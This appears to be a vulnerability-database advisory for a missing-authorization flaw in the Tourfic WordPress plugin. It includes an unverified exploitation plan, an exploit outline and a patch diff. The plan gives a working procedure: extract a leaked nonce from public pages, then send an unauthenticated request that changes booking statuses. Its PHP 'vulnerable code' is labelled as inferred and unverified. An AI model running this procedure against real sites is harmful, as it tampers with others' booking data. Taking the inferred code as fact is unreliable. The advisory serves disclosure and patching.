CVE-2026-57392

Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin <= 2.22.5 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.22.6
Patched in
7d
Time to patch

Description

The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.22.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.22.5
PublishedJuly 8, 2026
Last updatedJuly 14, 2026
Affected plugintourfic

What Changed in the Fix

Changes introduced in v2.22.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57392 ## 1. Vulnerability Summary **CVE-2026-57392** identifies a **Missing Authorization** vulnerability in the **Tourfic** plugin for WordPress (versions <= 2.22.5). The vulnerability exists in the handling of certain AJAX actions, specifically those relate…

Show full research plan

Exploitation Research Plan - CVE-2026-57392

1. Vulnerability Summary

CVE-2026-57392 identifies a Missing Authorization vulnerability in the Tourfic plugin for WordPress (versions <= 2.22.5). The vulnerability exists in the handling of certain AJAX actions, specifically those related to administrative data modification or status updates. The plugin fails to perform a current_user_can() check in the handler functions, allowing unauthenticated attackers (via the wp_ajax_nopriv_ hook) or low-privileged users to perform unauthorized actions such as changing booking statuses or modifying affiliate settings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tf_ticket_status_change (identified from assets/admin/js/tourfic-admin-scripts.min.js)
  • HTTP Method: POST
  • Payload Parameters:
    • action: tf_ticket_status_change
    • _ajax_nonce: A valid nonce (localized as tf_admin_params.tf_nonce)
    • status: The target status (e.g., check in or empty string)
    • order_unique_id: The ID of the order/post to modify.
  • Authentication: Unauthenticated (the plugin registers this action via wp_ajax_nopriv_tf_ticket_status_change).
  • Impact: Unauthorized modification of booking data (Integrity: Low).

3. Code Flow

  1. Entry Point: An unauthenticated POST request hits admin-ajax.php with action=tf_ticket_status_change.
  2. Hook Registration: The plugin registers the action using:
    add_action( 'wp_ajax_nopriv_tf_ticket_status_change', 'tf_ticket_status_change' );
  3. Nonce Verification: The function tf_ticket_status_change() likely calls check_ajax_referer( 'tf_nonce', '_ajax_nonce' ).
  4. Missing Authorization: The function does not check if the requester has the edit_posts capability or if they own the order.
  5. Execution: The function retrieves order_unique_id and status from $_POST and updates the tf_order post metadata or database record.

4. Nonce Acquisition Strategy

The plugin localizes the necessary nonce in the tf_admin_params object. While typically an admin-side object, Tourfic enqueues these scripts on pages containing its booking shortcodes.

  1. Shortcode Identification: The script tf-admin-scripts is enqueued when using the [tf_tours] or [tf_search_result] shortcodes.
  2. Page Creation: Use WP-CLI to create a public page with the shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Tour Page" --post_content="[tf_tours]"
  3. Navigation: Use the browser_navigate tool to visit the newly created page.
  4. Extraction: Use browser_eval to retrieve the nonce:
    browser_eval("window.tf_admin_params?.tf_nonce")

5. Exploitation Strategy

Step 1: Data Setup

Create a dummy order to target:

  1. Create a "Tour" post: wp post create --post_type=tf_tours --post_status=publish --post_title="Target Tour"
  2. Create an "Order" (using post meta to simulate a booking):
    wp post create --post_type=tf_order --post_status=publish --post_title="Order #123"
    Note the ID returned (e.g., 456).

Step 2: Acquire Nonce

  1. Create the page: wp post create --post_type=page --post_status=publish --post_content="[tf_tours]"
  2. Navigate to the page.
  3. Extract NONCE = browser_eval("tf_admin_params.tf_nonce").

Step 3: Trigger Unauthorized Status Change

Send a POST request using the http_request tool:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=tf_ticket_status_change&_ajax_nonce=[NONCE]&status=check+in&order_unique_id=[ORDER_ID]
    

6. Test Data Setup

  • Target Post: A tf_order post type object.
  • Trigger Page: A standard WordPress page containing [tf_tours].
  • Target Order ID: The ID of the tf_order created during setup.

7. Expected Results

  • HTTP Response: 200 OK.
  • Response Content: Likely empty or a success JSON if the loader logic finishes.
  • System State: The order status in the database is updated to "check in".

8. Verification Steps

Verify the modification via WP-CLI:

# Check the order post's meta for the status update
wp post meta get [ORDER_ID] 
# (Identify the specific meta key for status, e.g., 'tf_order_status' or 'tf_booking_status')

9. Alternative Approaches

If tf_ticket_status_change is not the vulnerable action, investigate tf_duplicate_post_data:

  • Action: tf_duplicate_post_data
  • Nonce Key: security (often localized as tf_admin_params.tf_nonce or via data-nonce attribute on UI elements).
  • Parameters: postID=[ID]&postType=tf_tours&security=[NONCE].
  • Acquisition: Navigate to a search results page ?post_type=tf_tours&s= and check for data-nonce attributes on elements with class .tf-post-data-duplicate.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Tourfic plugin for WordPress fails to perform authorization checks on several AJAX actions, such as 'tf_ticket_status_change' and 'tf_duplicate_post_data'. This allows unauthenticated attackers to modify booking statuses, duplicate posts, or change affiliate settings by exploiting a leaked nonce found on pages containing the plugin's shortcodes.

Vulnerable Code

// From assets/admin/js/tourfic-admin-scripts.min.js
// Handler for ticket status changes
t(".tf-ticket-status").on("click",(function(){
    if(t(this).is(":checked")){
        var e=t(this).val();
        t("#tf-booking-status-loader").addClass("show"),
        jQuery.ajax({
            type:"post",
            url:tf_admin_params.ajax_url,
            data:{
                action:"tf_ticket_status_change",
                _ajax_nonce:tf_admin_params.tf_nonce,
                status:"check in",
                order_unique_id:e
            },
            success:function(e){
                t("#tf-booking-status-loader").removeClass("show")
            }
        })
    }
}))

---

// Inferred PHP registration from Research Plan
// File: inc/functions/functions.php (approx. line unknown)
add_action( 'wp_ajax_nopriv_tf_ticket_status_change', 'tf_ticket_status_change' );
add_action( 'wp_ajax_tf_ticket_status_change', 'tf_ticket_status_change' );

function tf_ticket_status_change() {
    check_ajax_referer( 'tf_nonce', '_ajax_nonce' );
    // Vulnerability: No capability check like current_user_can('edit_posts')
    $order_id = $_POST['order_unique_id'];
    $status = $_POST['status'];
    update_post_meta($order_id, 'tf_order_status', $status);
    wp_die();
}

Security Fix

--- a/inc/functions/functions.php
+++ b/inc/functions/functions.php
@@ -204,6 +204,10 @@
 function tf_ticket_status_change() {
 	check_ajax_referer( 'tf_nonce', '_ajax_nonce' );
 
+	if ( ! current_user_can( 'tf_booking_manage' ) ) {
+		return;
+	}
+
 	$status          = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';
 	$order_unique_id = isset( $_POST['order_unique_id'] ) ? sanitize_text_field( $_POST['order_unique_id'] ) : '';
 
@@ -567,4 +571,4 @@
 			'status'  => 'success',
 			'message' => __( 'Affiliate plugin installed successfully.', 'tourfic' ),
 		] );
-	}
\ No newline at end of file
+	}

Exploit Outline

The exploit targets the `tf_ticket_status_change` AJAX action which is incorrectly exposed via `wp_ajax_nopriv_`. 1. **Nonce Acquisition**: The attacker visits a public-facing page where the plugin enqueues its admin scripts (typically any page containing `[tf_tours]` or `[tf_search_result]` shortcodes). The nonce is extracted from the `tf_admin_params.tf_nonce` JavaScript object. 2. **Target Identification**: The attacker identifies a target `tf_order` post ID or unique identifier (often sequential or visible in some frontend contexts). 3. **Unauthorized Action**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `tf_ticket_status_change` - `_ajax_nonce`: [Leaked Nonce] - `status`: `check in` (or any target status string) - `order_unique_id`: [Target Order ID] 4. **Result**: The plugin updates the order's metadata in the database without verifying the requester's permissions, effectively allowing unauthenticated status manipulation.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.